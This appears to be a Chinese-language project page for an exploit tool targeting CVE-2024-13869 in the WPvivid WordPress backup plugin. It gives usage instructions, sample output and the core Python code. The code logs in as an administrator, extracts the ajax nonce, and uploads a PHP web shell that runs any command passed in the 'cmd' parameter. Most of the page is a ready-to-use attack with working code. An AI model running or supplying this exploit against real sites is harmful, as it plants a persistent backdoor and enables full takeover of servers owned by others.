WPvivid 文件上传漏洞利用工具 (CVE-2024-13869)

0 阅读4分钟

WPvivid 文件上传漏洞利用工具 (CVE-2024-13869)

本项目提供了一个针对 WordPress 插件 Migration, Backup, Staging – WPvivid 的安全漏洞(CVE-2024-13869)的利用工具。该漏洞允许已认证的管理员用户绕过文件类型检查,上传任意文件(如 Web Shell)至服务器,进而可能导致服务器被完全控制。

功能特性

  • 自动化漏洞利用:一键完成登录、获取 Nonce、上传 Web Shell 和测试执行的完整流程。
  • Web Shell 生成:内置简单的 PHP Web Shell,支持通过 cmd 参数执行系统命令。
  • 非交互式操作:通过命令行参数指定目标、用户名和密码,适合自动化渗透测试。
  • 清晰的输出反馈:实时显示登录状态、提取的 Nonce 值、上传结果以及 Web Shell 的访问路径。

安装指南

环境要求

  • Python 3.x
  • requests
  • urllib3 库(通常随 requests 一同安装)

安装步骤

  1. 克隆或下载项目: 将 CVE-2024-13869.py 脚本保存到本地。

  2. 安装依赖: 使用 pip 安装所需的 Python 库。

    pip install requests urllib3
    

使用说明

基本用法

该工具通过命令行运行,需要提供 WordPress 站点的 URL、管理员用户名和密码。

python CVE-2024-13869.py <目标URL> <用户名> <密码>

示例

假设目标站点为 https://example.com,管理员用户名为 admin,密码为 StrongPassword123,执行命令如下:

python CVE-2024-13869.py https://example.com admin StrongPassword123

典型输出

Logging into: https://example.com/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://example.com/wp-content/wpvividbackups/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    ...

API 概览

wp_login(victim_url, username, password)
  • 功能:使用提供的凭据登录 WordPress 站点,并返回一个带有认证 Cookie 的 requests.Session 对象。
  • 参数
    • victim_url (str): 目标 WordPress 站点的根 URL。
    • username (str): 管理员用户名。
    • password (str): 管理员密码。
  • 返回requests.Session 对象,用于后续的认证请求。

核心代码

以下是该漏洞利用工具的核心代码片段,展示了从登录到利用的完整流程。

登录函数 (wp_login)

该函数模拟 WordPress 的登录过程,获取并维持会话状态。

import requests

def wp_login(victim_url: str, username: str, password: str):
    # 创建一个 Session 对象,用于维持 Cookie
    with requests.Session() as s:
        # 设置必要的 Cookie 头,绕过 WordPress 的测试 Cookie 检查
        headers1 = {'Cookie':'wordpress_test_cookie=WP Cookie check'}
        # 构建登录所需的 POST 数据
        datas={
            'log': username,
            'pwd': password,
            'wp-submit': 'Log In',
            'redirect_to': f"{victim_url}/wp-admin",
            'testcookie': '1'
        }
        # 发送登录请求
        s.post(f"{victim_url}/wp-login.php", headers=headers1, data=datas, verify=False)
        # 返回包含已验证 Session 的对象
        return(s)

漏洞利用与 Web Shell 上传

登录后,该部分代码负责提取关键参数(ajax_nonce)并构造一个 multipart/form-data 请求,将恶意的 PHP Web Shell 上传到服务器。

# 登录 WordPress
wp_session = wp_login(args.victim_url, args.username, args.password)

# 从插件管理页面提取必要的 ajax_nonce
r = wp_session.get(f"{args.victim_url}/wp-admin/admin.php?page=WPvivid", verify=False)
nonce = re.search(r'"ajax_nonce":"([^"]+)"', r.text).group(1)

# 构造并发送文件上传请求
headers = {
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryr0NgQQDe85Zf9sXp",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
}
# 精心构造的多部分数据,包含文件名、分片信息、Nonce 和 PHP 代码
data  = "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\n"
data += "Content-Disposition: form-data; name=\"name\"\r\n\r\nhack.php\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunk\"\r\n\r\n0\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"chunks\"\r\n\r\n1\r\n"
data += f"------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"_ajax_nonce\"\r\n\r\n{nonce}\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwpvivid_upload_files\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"hack.php\"\r\n"
data += "Content-Type: text/plain; charset=UTF-8 \r\n\r\n"
data += "<?php\r\n    if (!empty($_GET['cmd'])) {\r\n        echo \"<pre>\".shell_exec($_GET['cmd']).\"</pre>\";\r\n    }\r\n?>\r\n"
data += "------WebKitFormBoundaryr0NgQQDe85Zf9sXp--\r\n"

# 发送上传请求到 admin-ajax.php
r = wp_session.post(f"{args.victim_url}/wp-admin/admin-ajax.php", headers=headers, data=data, verify=False)

# 验证上传结果
print(r.text)
print(f"Web Shell At: {args.victim_url}/wp-content/wpvividbackups/hack.php")

6HFtX5dABrKlqXeO5PUv/6EPX91JjGQ5N+Lx0kV8rWw=